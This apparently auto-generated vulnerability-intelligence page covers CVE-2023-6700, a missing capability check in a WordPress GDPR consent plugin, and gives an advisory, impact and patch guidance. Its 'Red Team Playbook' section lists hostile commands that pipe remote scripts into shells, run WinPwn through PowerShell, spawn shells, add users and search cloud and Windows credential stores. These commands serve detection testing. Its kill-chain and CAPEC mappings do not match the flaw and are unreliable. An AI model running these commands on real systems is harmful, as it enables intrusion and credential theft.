CVE-2023-6700
Overview
This vulnerability is an arbitrary option update flaw caused by the absence of a capability check in the AJAX request handler of the Cookie Information | Free GDPR Consent Solution WordPress plugin. The affected component is the AJAX endpoint responsible for processing option updates, which does not verify user permissions properly. This lack of authorization validation allows modification of site options beyond intended privilege boundaries in versions up to and including 2.0.22.
Vulnerability Description
The Cookie Information | Free GDPR Consent Solution plugin for WordPress is vulnerable to arbitrary option updates due to a missing capability check on its AJAX request handler in versions up to, and including, 2.0.22. This makes it possible for authenticated attackers, with subscriber-level access or higher, to edit arbitrary site options which can be used to create administrator accounts.
Impact
An attacker with subscriber-level authentication can exploit this vulnerability to modify arbitrary site options, enabling the creation of new administrator accounts. This privilege escalation allows full control over the WordPress site, including data access and administrative functions. The exploit requires authenticated access (PR:L) but no user interaction (UI:N) and can be performed remotely (AV:N). The high CVSS score (8.8) reflects the critical impact on confidentiality, integrity, and availability of the affected system.
Solution
Users should upgrade the Cookie Information | Free GDPR Consent Solution WordPress plugin to version 2.0.23 or later, where the missing capability check in the AJAX request handler has been implemented. Detailed patch information and update instructions are available in the WordPress plugin changelog and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/42a4ef37-c842-4925-b06a-3e6423337567. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Cookie Information | Free GDPR Consent Solution plugin for WordPress arises from a lack of proper capability checks in its AJAX request handler. This oversight allows authenticated users, even those with minimal privileges such as subscriber-level access, to perform arbitrary option updates. Specifically, the absence of a robust authorization mechanism means that an attacker can exploit this weakness to modify critical site options, including the creation of new administrator accounts. This flaw is particularly concerning as it undermines the principle of least privilege, which is fundamental to maintaining a secure environment.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage social engineering techniques to gain access to a legitimate user account or could exploit weak passwords to compromise a low-privileged user. Once inside, the attacker can send crafted AJAX requests to the vulnerable plugin, bypassing any necessary checks that would normally prevent unauthorized changes. This exploitation scenario is particularly alarming as it allows attackers to escalate their privileges, potentially leading to full administrative control over the affected WordPress site.
The real-world impact of this vulnerability is significant, especially for organizations that rely on WordPress for their online presence. If an attacker successfully exploits this flaw, they could not only create new administrator accounts but also manipulate site content, install malicious plugins, or extract sensitive user data. The business risks associated with such an incident include reputational damage, loss of customer trust, and potential legal ramifications, particularly for organizations that handle personal data and are subject to GDPR compliance. The financial implications of a data breach can be severe, encompassing costs related to remediation, legal fees, and potential fines from regulatory bodies.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments are essential to identify and address weaknesses in plugins and themes. Additionally, organizations should ensure that all plugins are kept up to date, as updates often include critical security patches. Employing a web application firewall can also provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, implementing strict user access controls and encouraging the use of strong, unique passwords can help mitigate the risk of unauthorized access.
In conclusion, the vulnerability in the Cookie Information plugin for WordPress represents a serious threat to the security of affected sites. The ease of exploitation combined with the potential for significant impact underscores the importance of maintaining robust security practices. Organizations must remain vigilant in their security posture, ensuring that they are proactive in identifying and mitigating vulnerabilities to safeguard their digital assets and maintain the trust of their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cookieinformation | Wp-Gdpr-Compliance | All |
cpe:2.3:a:cookieinformation:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2023-6700
Cookie Information | Free GDPR Consent Solution <= 2.0.22 - Authenticated (Subscriber+) Arbitrary Options Update
|
RandomRobbieBF | 2 | 0 | 2024-01-30 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6700 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/42a4ef37-c842-4925-b06a-3e6423337567?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3028096/wp-gdpr-compliance/trunk?contextall=1&old=2865555&old_path=%2Fwp-gdpr-compliance%2Ftrunk |